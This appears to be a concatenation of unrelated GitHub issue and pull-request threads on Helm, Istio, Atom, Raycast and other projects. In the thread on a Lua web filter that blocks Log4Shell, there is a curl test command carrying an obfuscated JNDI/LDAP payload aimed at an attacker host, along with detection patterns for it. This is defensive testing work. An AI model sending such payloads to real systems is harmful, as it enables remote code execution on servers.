Helm repo add and helm install with the URL doesn't work in Linux when executed via java program

Hi,
I am facing the same issue when trying to do repo add for a specific service.
run command /home/kamesh/src/ap/helm_workspace/helm repo add cm https:// main
18-02-15 16:51:45.510 INFO execution result
Error: Looks like "https:///cd/test/app" is not a valid chart repository or cannot be reached: open .helm/repository/cache/.helm/repository/cache/app-index.yaml: no such file or directory
if you see the directory structure ./helm/repository/cache is returning twice.
I am using Helm client and triller version as 2.7.2
What i am doing is as below :
Created a Java program that first does helm init default is /home/kamesh/.helm
Doing repo add app
Then throwing this error.
From java a new shell is swapned for every instance and the command is executed using ShellCommand API.
Can you please let me know if any specific reason.
Thanks

Hi,
Can somone please help me .. i am unable to find the root cause of the issue.
All other helm commands works fine with the script but only repo add and helm install directly getting from the remote repo is failing with the above error.
I see many such issues observed by others and any clue on how i can solve.
Thanks in advance.

Can you post the output of helm home as well as the full output from helm repo add? It looks like a large amount of the logs were cut or edited, so it’s not providing any useful information to grok.

Also try helm init —client-only first. Your home directory might not be initialized.

I will provide the output by tomorrow..
I have initiated the helm init --client-only command and is successful...anyhow will give the exact output ..

Hi,
Here are the complete details.
I am using a Java framework
Test Step 1: Init helm - Duration: 00:00:00.169(h:m:s)
run command /home/eprkame/adp-gs-cm/src/cm/helm_workspace/2.7.2/helm init --client-only
18-02-20 17:39:23.881  INFO  execution result
$HELM_HOME has been configured at .helm.
Not installing Tiller due to 'client-only' flag having been set
Happy Helming!
18-02-20 17:39:24.203  INFO  Test Step 2: Add the test-app chart to the repository - Duration:
18-02-20 17:39:24.350  INFO  print the Uri
18-02-20 17:39:24.363  INFO  run command /home/eprkame/src/helm_workspace/2.7.2/helm repo add  test-app
Error: Looks like "The URI provided above" is not a valid chart repository or cannot be reached: open .helm/repository/cache/.helm/repository/cache/test-app-index.yaml: no such file or directory
Below is the java code used to execute the helm commands in a shell.
where my env contains the kubeconfig and helm path variables.
I am able to execute other helm commands without any issues ,but repo add is failed with the error mentioned above.If we see the path .helm/repository/cache/ is valid but i guess this is repeated twice and which the path is not valid.Not sure if the java code is executed in 2 different shells for each command i,e for init client and helm repo add where the repo environment is different .(Not sure the reason so thinking different ways)
private String runCommand(CommandLine command, Map<String, String> env)
throws ExecutionException {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
PumpStreamHandler streamHandler = new PumpStreamHandler(outputStream);
ExecuteWatchdog watchdog = new ExecuteWatchdog(60000);
ExecutionResultHandler resultHandler = new ExecutionResultHandler(
watchdog);
executor.setWatchdog(watchdog);
executor.setStreamHandler(streamHandler);
    try {
        executor.execute(command, env);
     } catch (IOException ex) {
        throw new ExecutionException(ex.getMessage(),
                outputStream.toString(), ex);
    } finally {
        Logger.info("execution result \n {}", outputStream.toString());
    }
    return (outputStream.toString());
}

I didn't see the repository URL in the command arguments... Just helm repo add test-app. Did you make sure to add one to the command?
I'd check and make sure $HELM_HOME is set properly as well. It appears that your environment may be duplicating that value. I'm able to run helm repo add incubator https://kubernetes-charts-incubator.storage.googleapis.com/ just fine from my local machine.

From your output, it looks like $HELM_HOME is set to .helm. Perhaps $HOME isn't set or something is messing with your home directory. I'd try explicitly settings $HELM_HOME.

Ok actually it is set under /home/kamesh/.helm.
I guess for some reason it is omiting the/home/Kamesh. May be something is corrupted ... anyhow I will try explicitly setting the HELM home variable..
Thanks

Just another thing is when I manually execute the command in the shell I don't have any issues and execute from the java code which will spawn a replica of the shell the issue is observed

Thanks i solved the issue by defining the HELM_HOME variable which was not set properly when using the default value.

Looks like setting HELM_HOME as a relative path causes this issue. Setting to an absolute path resolves it...
Relative path gives me an error:
$ HELM_HOME=./helm helm repo add po https://rakelkar.github.io/prometheus-operator-helm/
Error: Looks like "https://rakelkar.github.io/prometheus-operator-helm/" is not a valid chart repository or cannot be reached: open helm/repository/cache/helm/repository/cache/po-index.yaml: no such file or directory

But absolute path works:
$ HELM_HOME=/home/rakelkar/try/terraform/aks3/helm helm repo add po https://rakelkar.github.io/prometheus-operator-helm/
"po" has been added to your repositories

Thanks @rakelkar and @bacongobbler. Indeed, when $HOME isn't set, $HELM_HOME becomes a relative path. The error message is misleading, though. Should helm warn on $HOME not set, given that it has downstream effects?


Feature/mute microphone streaming

Issue #, if available: #29
Description of changes:

Added Mute/Unmute button for microphone
Updated labels on fields and added validation
Defaulted meeting organiser field to logged in user's email rather than "Me"
Removed microphone source field (defaulted to meeting organiser)
Added links to open the meeting while/after recording
Added logic to disable fields while recording is in progress and show warning message
Added timestamp to meeting name to ensure id is unique
Updated READMEs with new field names and functionality

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Thanks @virtualgill - this is amazing.. Queued up for review and merging to develop very soon.


This is fantastic thank you!

Hey I just want to say I really appreciate these. I don't fully understand how they all work yet, but the few I have tried work perfectly.
There's only one thing I want to mention, and that's I'm on 5.4.1 and when my Rider went to compile the first time after adding these files, it gave me an error for 2 enums and said that only uint8 was supported currently.
They are in KaosBTService_ActivateAbilityByTag.h declaring enum EKaosActivateAbilityByTagOnCeaseRelevanceBehaviour I had to add
: uint8
As well as in KaosBTTask_ExecuteGameplayAbility.h declaring enum EKaosExecuteGameplayAbilityAbortBehaviour I had to add : uint8
I have no idea if that means much, but it was just a compile issue when I first added the files.

I pushed a fix for it, same as what you did. Thanks for letting me know :)


Ambiguity between default and overridden values in the config

Description
There is an ambiguity in the config between default and overridden values. Sometimes you want to set a value which might be equal to the "original" default value. However, atom detects that and removes it automatically, causing the actual default value (in "*") to be used.
Steps to Reproduce

Set default ("*") tab length to 4
Try to set other language's tab length to 2

Since 2 is the default value, it's automatically removed and causes the "*" default of 4 to be used.
 Why? Because its default value is 4, not 2.
Versions
Tested with Atom 1.8.0, using a completely clean, freshly created .atom directory in Windows 10 64bit.

This is a duplicate of https://github.com/atom/settings-view/issues/774. You may want to subscribe there for updates.


WIP: Fix missing ansible dependency

- What I did
Ran AMI-build test with Fedora, playbook encountered encountered this error:
TASK [Containers using cgroups and/or systemd after 7.5 are permitted] *********
task path: /go/src/github.com/kubernetes-incubator/cri-o/contrib/test/integration/system.yml:130
fatal: [localhost]: FAILED! => {
    "changed": false
}

MSG:
---
This module requires libsemanage-python support

- How I did it
Including the necessary RPM in the packages-to-install list.
- How to verify it
/test ami_fedora will pass

/test ami_fedora

/test ami

/test ami

looking into this

Thanks @runcom

This looks AMI creation task succeeded but the query for the AMI failed. We could maybe wait for a few minutes as sometimes it take time for an AMI to show up.

/test ami

/retest

Note to me: This is blocking testing of https://github.com/openshift/aos-cd-jobs/pull/1316 which is needed for PD of Fedora PR-CI bug where subject-host becomes inaccessible prior to log-collection.

This looks AMI creation task succeeded but the query for the AMI failed. We could maybe wait for a few minutes as sometimes it take time for an AMI to show up.

@mrunalp are you suggesting some kind of timeout loop needs adding to Origin CI, or literally, we (people) need to be patient?

Thanks for clarifying @mrunalp, I'll open up a trello-card for this, it seems important as it would affect lots of jobs in a positive way.  Hopefully it's simply an Ansible task I could just toss a repeat/until loop around.

/test all

@mrunalp is retrying the ami check a blocker for this PR?  (and therefor also https://github.com/openshift/aos-cd-jobs/pull/1316 :confused:)

@cevich I am fine getting this in as it is blocking other stuff.

Excellent, thanks.


Temporary guides section in docs

Changes
While we're working on Docs 1.5 #1495, we'd like to launch the guides included. This creates a link to a guides main page and cherry picks the react guide from Docs 1.5
Testing
Docs tests pass
Docs
Is documentation

looks like deploy failed :(


[Question] Moving composer.json

Hi - love the idea of this package, however having some problems customising something.
We want to use our root composer.json to handle the dependencies rather than one inside a theme folder.
When I add it to our main one via composer require soberwp/controller it installs fine.
We then update the autoload paths in the root composer to
"autoload": {
        "psr-4": {
            "App\\": "web/app/themes/theme-name/app/"
        }
    }

Fatal error: Uncaught Symfony\Component\Debug\Exception\FatalThrowableError: Class 'App' not found in ............

Any ideas how to get around this?
Thanks

@mcaskill nice solution


Enhanced match detection

Addresses all techniques described in https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words

@andreasnanko great idea, thanks! can you please rebase the PR against the current main branch? i already added some changes for #1 and from your fixes in #2 in the code.

@Napsty done

thx! i'm trying to solve the system env variable evasion technique:
curl https://target.example.com -H 'Api: ${${env:FANCY_VAR:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}'

does not get blocked by the lua script.
the evasion techniques are detected. maybe you can spot it? i'm on my side also trying to solve it.

Unless you find a working way using the gsub concatenation,  here is a working alternative: don't try to match the letters from the ENV vars together, use simpler string.match instead:
  if v then
    s = tostring(v)
    s=string.gsub(s, "${lower:(%a+)}", "%1")
    s=string.gsub(s, "${upper:(%a+)}", "%1")
    s=string.gsub(s, "${::%-(%a+)}", "%1")
    if string.match(string.lower(s), "{jndi:") or string.match(string.lower(s), "${env") then
      ngx.log(ngx.ERR, 'Found potential log4j attack in header ' .. k .. ':' .. tostring(v))
      ngx.exit(ngx.HTTP_FORBIDDEN)
    end
  else

I would suspect any header with a value involving ${env to be shady to be honest ;)

I already added a new env variant.

Still passing through unfortunately :(

@Napsty should work now. for me it does. please verify.

awesome, great job!


Add vm to jwt_test.go

Refactor tests in integration/security/jwt_test.go to become workload-agnostic and extend test coverage for VM.
The TestIngressRequestAuthentication is not fully workload-agnostic because we need test utils and test patterns for such tests.
@stevenctl recommends two options which have pros and cons:
echotest.New(t).RunFromClusters(func (t framework.TestContext, src cluster.Cluster, dst echo.Instances)

and
echotest.New(t).RunFromIngresses(func (t framework.TestContext, src ingress.Instance, dst echo.Instances)

The first option doesn't directly couple the framework to Ingress, but it assumes every cluster will run an ingress.
The second basically has the inverse advantages/disadvantages.
I will address this in a follow up PR.
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure
Pull Request Attributes
Please check any characteristics that apply to this pull request.
[x] Does not have any changes that may affect Istio users.

@JimmyCYJ: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-security-multicluster-tests_istio
682a7f218210c222a04eaef6d205777610a71c9e
link
/test integ-security-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

Yangmin Zhu the security-multicluster-tests failed at this case
=== RUN   TestRequestAuthentication/#00/a#09/to_vm/from_primary-0/valid-token-forward-remote-jwks
2021-04-08T19:13:26.723340Z	info	tf	=== BEGIN: Test: 'security[TestRequestAuthentication/#00/a#09/to_vm/from_primary-0/valid-token-forward-remote-jwks]' ===
    jwt_test.go:328: 1 error occurred:
        	* failed calling a->'http://vm.test-ns1-2-18850.svc.cluster.local:80/': call failed from a to http://vm.test-ns1-2-18850.svc.cluster.local:80 (using http): timeout while waiting after 169 attempts (last error: requests to vm expected code 200, headers map[Authorization:Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6InRUX3c5TFJOclk3d0phbEdzVFlTdDdydXRaaTg2R3Z5YzBFS1I0Q2FRQXciLCJ0eXAiOiJKV1QifQ.eyJleHAiOjQ3MTU3ODI3MjIsImdyb3VwcyI6WyJncm91cC0xIl0sImlhdCI6MTU2MjE4MjcyMiwiaXNzIjoidGVzdC1pc3N1ZXItMUBpc3Rpby5pbyIsInN1YiI6InN1Yi0xIn0.JUWnHmKP01ZJMxtE8ke7Lv7G_eXL9yEoa4xWi__Sk09IQsuBGnhK75nQfl4aJ1fLthu-AvIp-GZe-1hDnBHhO4MQ7tXYeCdgnFkVGvhvZwOWpOl79H2U-mRX1eyjsHG0ZzwHwWMMLpPW6HQYCbTCEkZKRtoFoSum0-ilGqLO7EGRMEFpKYKnZV0N9pZIgX8uPlHoOVCZjqvhDtFjP-PG89vvNozeV7u47LMMzQeQtzCDmbRrIw1KVHZ885N1qiLcf-RNR9x9UINK_d98QKqkYsJtI2QTdVzevzSF8LfvaGLh75tvAL8h7L221haAKEnICuRqGWNO8qIwsj0k89kdGA X-Test-Payload:eyJleHAiOjQ3MTU3ODI3MjIsImdyb3VwcyI6WyJncm91cC0xIl0sImlhdCI6MTU2MjE4MjcyMiwiaXNzIjoidGVzdC1pc3N1ZXItMUBpc3Rpby5pbyIsInN1YiI6InN1Yi0xIn0]: expect header X-Test-Payload=eyJleHAiOjQ3MTU3ODI3MjIsImdyb3VwcyI6WyJncm91cC0xIl0sImlhdCI6MTU2MjE4MjcyMiwiaXNzIjoidGVzdC1pc3N1ZXItMUBpc3Rpby5pbyIsInN1YiI6InN1Yi0xIn0 in body

This header X-Test-Payload is expected but is missing in response, and Authorization: header is received as expected. This test only failed at vm in multi-cluster case, do you have any idea why the header is missing in this case while existed in other cases? (e.g. the same test passed in integ-security-k8s-tests_istio and the test passed in integ-security-k8s-tests_istio and security-multicluster-tests when dest is a pod. I am not clear whether this is caused by

A security code bug, or
A vm setup issue, or
Eastwest gateway strips out custom header in a response).

I would be very surprised if this is somehow related to security code because we do not touch the forwarded header at all from security code, I guess it might be related to the multi-cluster setting that strip some extra headers in the request?

I would be very surprised if this is somehow related to security code because we do not touch the forwarded header at all from security code, I guess it might be related to the multi-cluster setting that strip some extra headers in the request?

@stevenctl do you know if there are any configs at the eastwest gateway that will strip out a custom response header?

@JimmyCYJ: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-security-multicluster-tests_istio
2d02e77976d6376daaf87037cb9f460a871c4897
link
/test integ-security-multicluster-tests_istio

integ-pilot-multicluster-tests_istio
c27c35a9dddf098483bb9c3ce94524861ff4e1e6
link
/test integ-pilot-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-multicluster-tests_istio
c27c35a9dddf098483bb9c3ce94524861ff4e1e6
link
/test integ-pilot-multicluster-tests_istio

integ-security-multicluster-tests_istio
c27c35a9dddf098483bb9c3ce94524861ff4e1e6
link
/test integ-security-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

The failure is caused by setup issue, not by security or the eastwest gateway. I have revised the filter to use the default cluster for testing.

@JimmyCYJ: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-security-multicluster-tests_istio
8b06d5dbef8b35adbdfad5c1947fd03250421fde
link
/test integ-security-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-security-multicluster-tests_istio
604c66a276fdd4b44ca30f87923c5fb4c2119705
link
/test integ-security-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test integ-security-multicluster-tests_istio

@JimmyCYJ: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-security-multicluster-tests_istio
66e7fa55549e1f1d2c473c3a2484ef9bf58b6417
link
/test integ-security-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

In response to a cherrypick label: #32024 failed to apply on top of branch "release-1.9":
Applying: templatize policy
Using index info to reconstruct a base tree...
M	tests/integration/security/jwt_test.go
Falling back to patching base and 3-way merge...
Auto-merging tests/integration/security/jwt_test.go
CONFLICT (content): Merge conflict in tests/integration/security/jwt_test.go
error: Failed to merge in the changes.
hint: Use 'git am --show-current-patch=diff' to see the failed patch
Patch failed at 0001 templatize policy
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
To restore the original branch and stop patching, run "git am --abort".

In response to a cherrypick label: new issue created for failed cherrypick: #32375


Clip upload lazy frame loading

I'm submitting a ...
[ ] bug report
[x] feature request
[ ] question about the decisions made in the repository
[ ] question about how to use this project

Summary
When uploading a clip to the atem, all the frames must be presented to the library at once. While this is optimal for upload speed, it will require very large amounts of memory when doing long clips (filling a constellation in 1080p will take 12gb of ram)

Other information

https://github.com/nrkno/tv-automation-atem-connection/blob/abcff0c74a51b3ffb4880106b87109a7fc72b9ec/src/dataTransfer/dataTransferClip.ts#L12
Instead this should be able to take an Array<Promise<DataTransferFrame>>
There could be a strategy in place to preload x frames to keep the uploader running smoothly.
What should happen if a frame promise rejects? Should the whole clip be invalidated and aborted?

Implemented with #122


Don't fail if embedding model in response is unknown.

Instead, parse into CustomEmbeddingsModel.
Fixes #99

Thanks! :) Release under way


Minor cleanups.

Remove a test, whitespace.

Commit dfccef0a13f70b72181d62a8e0fea9dbc4806478 is not signed-off.
Please fix these issues:

Dan Cross has not signed-off dfccef0.

If you'd like more information on how to sign your commits please visit signed-off-by.me


Create option for including/excluding input from the "Problem tab"

In some cases, the problems defined in the "problems" tab for bigger projects are not always defined to the task Claude Dev is trying to solve.
Making this a optional feature that can be toggled on/off would be more suitable for very large projects.

Hey thanks for taking the time to make the issue. I just released v1.7.3 that now only uses workspace errors (and not warnings since this may be too distracting in large projects). I've also added the following instructions to the system prompt:

You will automatically receive workspace error diagnostics in environment_details. Be mindful that this may include issues beyond the scope of your task or the user's request. Focus on addressing errors and warnings relevant to your work, and avoid fixing pre-existing or unrelated issues unless the user specifically instructs you to do so.
If you are unable to resolve errors provided in environment_details after a few attempts, consider using ask_followup_question to ask the user for additional information, such as the latest documentation related to a problematic framework, to help you make progress on the task.

Please give the new update a go and let me know how it works for you.

Great work @saoudrizwan will test it out now.


Maintenance: Fake db improvements

Improvements to fake data generation and isolated environment
Changes

Add establishment name to groupLinks
Update sql scripts
Add logging to sql scripts
Format generated INSERT script
Make running faker locally update the sql scripts without need for manual copy and paste

Checklist
~Pull request attached to the appropriate user story in Azure DevOps~
~ADR decision log updated (if needed)~
~Release notes added to CHANGELOG.md~

[ ] Testing complete - all manual and automated tests pass

As the hard coded data had to be updated via SQL and not the fake data generator at all, the approach has changed. This PR is superseded by #479


[Fix] Use copy instead of scan for piping process output

Fix for issue #591 - Console output truncated upon termination

Add test that the process doesn't hang after timeout is reached

Checklist

[X] Code compiles correctly
[ ] Relevant tests were added (unit / contract / integration)
[ ] Relevant logs were added
[X] Formatting and linting run locally successfully
[X] All tests pass
[ ] UA review
[ ] Design is documented
[ ] Extended the README / documentation, if necessary
[ ] Open source is approved

Coverage decreased because more lines in product code were deleted than added. All changed code is covered.


cpeng: add heartbeat command

Add 'heartbeat' command to hps program.
This command reads the value of the hps2host_rsp register once a second
and verifies that it's incrementing in value. It will log if it detects
a heartbeat or not.
This also adds 'hps2host_rsp' API function in the umd spec.
Signed-off-by: Rodrigo Rojo<EMAIL_ADDRESS>

Coverage decreased (-0.09%) to 63.475% when pulling 57ec982fa99c34258160ab22d0a4a46eecdf285a on rrojo/cpeng-heartbeat into 4b8ce45f270e7a30a7da1a7c384137d802701f52 on master.


Starter Code

Starter Code
User Story
As a boot camp student
I want to upload to my repo Starter Code files
So then I can start to work on my project
Acceptance Criteria
GIVEN a Starter-Code files
WHEN I download to my computer those files
THEN Start to work on my project

Added two files required to start this project.


[app] Redirect all routes to maintenance page in maintenance mode

I normally leave a few tabs of Wise Old Man open for a few different accounts. The redirect caused all those tabs to be directed to https://wiseoldman.net/maintenance! Would it be possible to remove the redirect and maybe return something like a 503 instead so the URL stays intact and any downstream service knows to not cache/crawl Wise Old Man for a bit?

Also, I tried to join the Discord to see if it had any more information about when maintenance would be finished, but I got redirected back to the maintenance page!

Also, I tried to join the Discord to see if it had any more information about when maintenance would be finished, but I got redirected back to the maintenance page!

oof big fail there, sorry, please join us at https://discordapp.com/invite/Ky5vNt2


SSO OIDC Compatibility Issue with Duo Security

Describe the bug
Using Duo Security as an OIDC provider in Firezone doesn't seem to work / isn't compatible. After Duo authentication, the redirect back to Firezone displays the login screen again with an error message (see below).
To Reproduce
Steps to reproduce the behavior:

Setup Duo Security as an OIDC provider in Firezone
Login using SSO

Expected behavior
A clear and concise description of what you expected to happen.
Login succeeds
Screenshots / Logs
If applicable, add screenshots and log traces to help debug your problem with any sensitive data removed.
An OpenIDConnect error occurred. Details: {400, "{\"error_title\": \"invalid_request\", \"error_message\": \"Request was malformed\", \"error\": \"invalid_request\", \"error_description\": \"Request was malformed\"}"}
Platform (please complete the following information):

Firezone Version 0.7.29
OS: Linux
Distro: Debian Bullseye
Kernel version: 5.10.0-22
Deployment method: Docker

Additional context
Add any other context about the problem here.

Thanks for the report! This is a new one. I know we've had success with Duo in the past, so not sure what happened. We're spread thin at the moment probably won't have time to triage soon, but will keep open for when we do.

In the meantime, you may have more luck with SAML: https://duo.com/docs/sso-generic

In the meantime, you may have more luck with SAML: https://duo.com/docs/sso-generic

SAML working fine, thanks


[WIP] Authorization

I figured rather than bikeshedding around an untried API I'd go ahead and implement a first prototype. I wanted to write TDD test for the API, but the compiler throws a bunch of errors unrelated to the PR on master so I can't run any test :confused:
I don't know the codebase well enough to figure those out, mind looking into them @helfer?
Ref #313

Hey @mxstbr, sorry I didn't see this until now (lots of activity on our repos lately). I'll look into it now 👍

Ok, it looks like the tests weren't passing on master because chai released a breaking change in typings without bumping the major version. I've fixed that and I also patched up the typings so that everything compiled. I had to comment out some of the new code because it was making tests fail, but you should be all set to continue where you left off by just commenting out the original code and commenting yours back in @mxstbr !

Thanks @helfer, I went ahead and implemented a first (very rough) version of what this could look like, let's continue discussing in #313!
This breaks a handful of existing tests, it'd be awesome if you could help me figure out why those broke, I tried digging in but have no clue.

How are we all feeling about this PR now? I still think something along these lines could be useful, but it doesn't look like we've come to a consensus just yet, so I'll leave it up to others ( @jbaxleyiii, @martijnwalraven ) to decide whether or not we want to continue working on this PR or close it.

I am going to close this for now since there hasn't been any activity in a while. Would be excited to come back to this!

Ah yeah sorry, don't have time to work on this anymore unfortunately!


Experience when having a lot of matches

Testing #191499
If a search is just too generic, there can be too many results. In the search view, we have a warning about this at the top of the results. In quick text search, the amount of results we are willing to show is even lower since the experience is more geared towards smaller result sets. Should we have validation messaging when the results are too large and encourage opening in the search view.

from @aeschli https://github.com/microsoft/vscode/issues/191754

Testing #191499

open the vscode repo
open command palette, type % semantic

There are many matches which makes the quick view less practical
Some suggestions:

show the total number of matches in a description (50 matches in 7 files)
reduce the number of matches per file if the list is long (e.g. 3 matches).
allow to filter for the file name as well


Fix reducer renaming bands

Purpose
col.reduce(ee.Reducer) renames all bands to bandName_reducerName which causes a mismatch between the band names and image visualization json.
Fix: Get the band names before the reduction and their order before reducing the image collection. After the collection has been reduced to an image select the bands in the proper order and rename them to the original band names.
Notes: No Jira issue that I can find. Not tested on local dev site, but python GEE code tested and works.
Related Issues
Closes CEO-###
Submission Checklist

[ ] Included Jira issue in the PR title (e.g. CEO-### <title>)
[ ] Code passes linter rules (npm run eslint/clj-kondo --lint src)

Module(s) Impacted
Imagery
Testing

Given..., When ..., Then ....

Screenshots

superseded by #1567


PIR: learn about provenances

This adds the concept of a Provenance to PIR. A Provenance is either an underlying annotation, or a piece of context relating the current term to another Provenance.
In practice this means that we can say something like A type error occurred in the pattern functor for List; at <location>, which is handy.
At the moment we don't have any terms with interesting underlying annotations, so this is not so useful. Even once we hook this up to core-to-plc, that still gives everything annotation ()! But that can be changed - the nice thing about Provenances is that they make sense across domains. So we can eventually say A type error occurred in the pattern functor for List; from the Haskell datatype List; at <location>.
This also answers a separate question: don't I already do something like this with the error contexts in core-to-plc? The answer is yes, they convey similar information, but conceptually they tell you what the code was doing when something went wrong, whereas the Provenance tells you where the piece of data that was being processed came from, and I think we want both. I'll probably move some of the error contexts stuff into a  core-to-plc Provenance in future.
Notes:

There's a bit of noise from:

Changing to use type synonyms throughout plutus-ir.
Adding a type parameter for the annotation so we're generic over the underlying annotation.

Most of the rest of the diff is just making sure that everything gets an appropriate Provenance.

Hydra is falling over, but I manually checked the jobset.


More status 'vela addon ls', and add 'vela addon fluxcd log' to check if addon is really started, failed, what is error[Feature]

Is your feature request related to a problem? Please describe.
When we run vela addon ls,  output only showing enabled, acuttally, addon is not started successfully backend, we would like to request more status on 'vela addon ls', and can print log on that.
From below log, it shows successfully, but backend fluxcd is not started
vela addon enable fluxcd/
enable addon by local dir: fluxcd/
I0510 22:35:40.751318   22960 apply.go:107] "patching object" name="config-helm-repository" resource="core.oam.dev/v1beta1, Kind=ComponentDefinition"
I0510 22:35:40.900227   22960 apply.go:107] "patching object" name="helm" resource="core.oam.dev/v1beta1, Kind=ComponentDefinition"
I0510 22:35:41.155116   22960 apply.go:107] "patching object" name="kustomize-json-patch" resource="core.oam.dev/v1beta1, Kind=TraitDefinition"
I0510 22:35:41.311608   22960 apply.go:107] "patching object" name="kustomize-patch" resource="core.oam.dev/v1beta1, Kind=TraitDefinition"
I0510 22:35:41.461774   22960 apply.go:107] "patching object" name="kustomize" resource="core.oam.dev/v1beta1, Kind=ComponentDefinition"
I0510 22:35:41.616520   22960 apply.go:107] "patching object" name="kustomize-strategy-merge" resource="core.oam.dev/v1beta1, Kind=TraitDefinition"
I0510 22:35:41.822288   22960 apply.go:107] "patching object" name="component-uischema-helm" resource="/v1, Kind=ConfigMap"
I0510 22:35:42.033250   22960 apply.go:107] "patching object" name="addon-secret-fluxcd" resource="/v1, Kind=Secret"
Addon: fluxcd enabled Successfully.
Please access the fluxcd from the following endpoints:
+---------+-----------+--------------------------+----------+
| CLUSTER | COMPONENT | REF(KIND/NAMESPACE/NAME) | ENDPOINT |
+---------+-----------+--------------------------+----------+
+---------+-----------+--------------------------+----------+

Describe the solution you'd like

Describe alternatives you've considered

Additional context

The reason is components  of fluxcd addon is k8s-objects, this type of component cannot check the status ready.I think we can introduce a component type like controller witch means a backend long-running worker but needn't expose service, then configure the health check status.

We can use the worker to implement the fluxcd's controller component type.

my proposal:
let "vela addon status xxx" print the Application name of this addon, then user could execute " vela -n vela-system status xxxx" to show more details

my proposal: let "vela addon status xxx" print the Application name of this addon, then user could execute " vela -n vela-system status xxxx" to show more details

Yes the current logic is just like this. But the  helm-release controller of fluxcd addon is applied by k8s-objects component, and this type component cannot wait unit all the pods are ready. So we should change it to worker component.

After experimenting with a prototype (fluxcd addon with worker component), we think this would cause a breaking change (due to how addons work currently), which is not ideal for users.
Using a breaking change to fix this issue is probably not worth it.
If the addon mechanism allows us to fix this issue without breaking changes in the future, we can start fixing this again.

The components in an addon can only be installed in vela-system namespace currently. However, fluxcd is installed in flux-system (which is possible using raw yaml, unlike components), which means we need to move all fluxcd controllers to vela-system namespace.
I have tried this. It worked well, and solved this issue.
But old users are used to diagnose fluxcd controller issues in the flux-system namespace, this namespace change can cause inconvenience for them, hence a breaking change.


add precheck of ceph version if current version is less than Jewel.

To upgrade ceph, we must make sure the current version is at least Jewel.

Can one of the admins verify this patch?

"ok to test" to accept this pull request for testing
"test this please" for a one time test run
"add to whitelist" to add the author to the whitelist

The previous PR from RELEASE-3.1.x is:
https://github.com/blueboxgroup/ursula/pull/2347

The previous PR from RELEASE-3.1.x is: #2347

Can one of the admins verify this patch?

"ok to test" to accept this pull request for testing
"test this please" for a one time test run
"add to whitelist" to add the author to the whitelist

did we loose my earlier comment?

@nirajdp76 I have re-commited, the previous comment was hided(https://github.com/blueboxgroup/ursula/pull/2558#discussion_r103606778), and now I am testing the changed part when they are ok , I will re-push.

test finished, please review.

LGTM
Most checks are only needed to be executed on ceph_mon1, but ceph version check is needed on every ceph nodes. Delegating the version_check to every ceph node is good.

okay to test

Can one of the admins verify this patch?

"ok to test" to accept this pull request for testing
"test this please" for a one time test run
"add to whitelist" to add the author to the whitelist

ok to rest

retest

retest

retest

retest

retest


Rename SymbolCache to DrawableImageCache

Still not happy about the DrawableImage name but it has some meaning. The drawable means it is ready to draw to the skia canvas so it contains skia objects. The ImageSourceCache contains no skia objects. The other 3 (we currently have 5 in the renderservice) are skia specific. So should they be called DrawableTileCache, DrawableLabelCache and DrawableVectorCache? Or should we use Skia as prefix? I don't like SK as prefix because I like to be sure the SK classes are of skia itself.
Perhaps the Skia prefix is not bad. They are all caches that belon in the Mapsui.Rendering.Skia namespace.


[clipboard-history] can't select browser extension in disabled applications

Extension
https://www.raycast.com/extensions/clipboard-history
Raycast Version
1.78.0
macOS Version
14.5
Description
When using the Clipboard History extension from raycast you can disable applications (such as password managers). The password managers are disabled by default here.
There is no option to disable extensions in the browser, you need to disable the browser. For example I use the 1pass extension in chrome, I don't want to disable clipboard history on chrome but I do want to disable clipboard history on the chrome plugin for 1pass.
Note: It is possible to disable 1pass for safari, since this is an app.
Steps To Reproduce

Open Raycast.
Go to extensions tab.
Select clipboard history.
Disable applications.
There is no option to select plugins for a browser (you can select the browser)

Current Behaviour
It is possible to disable applications, but I can not disable extensions in a browser.
Expected Behaviour
I would like to disable certain extensions in my browser.

since this is a core plugin I submitted through Raycast send feedback https://www.raycast.com/extensions/core


"go get" fails with a syntax error

Hi Emmanuel,
Thank you for de-facto maintaining Drive. Especially since you contribute to many other projects, too.
Installing from source fails for me. Would you advise, please.
go get  -u github.com/odeke-em/drive/cmd/drive
github.com/odeke-em/drive/cmd/drive
gopath/src/github.com/odeke-em/drive/cmd/drive/main.go:33: syntax error: unexpected string literal, expecting comma or )
Also:
go get github.com/odeke-em/drive/drive-gen
gopath/src/github.com/odeke-em/drive/drive-gen/build.go:24: syntax error: unexpected string literal, expecting comma or )
echo $GOPATH
/home/pkehl/gopath
Ubuntu 16.04.1 x32, up to date.
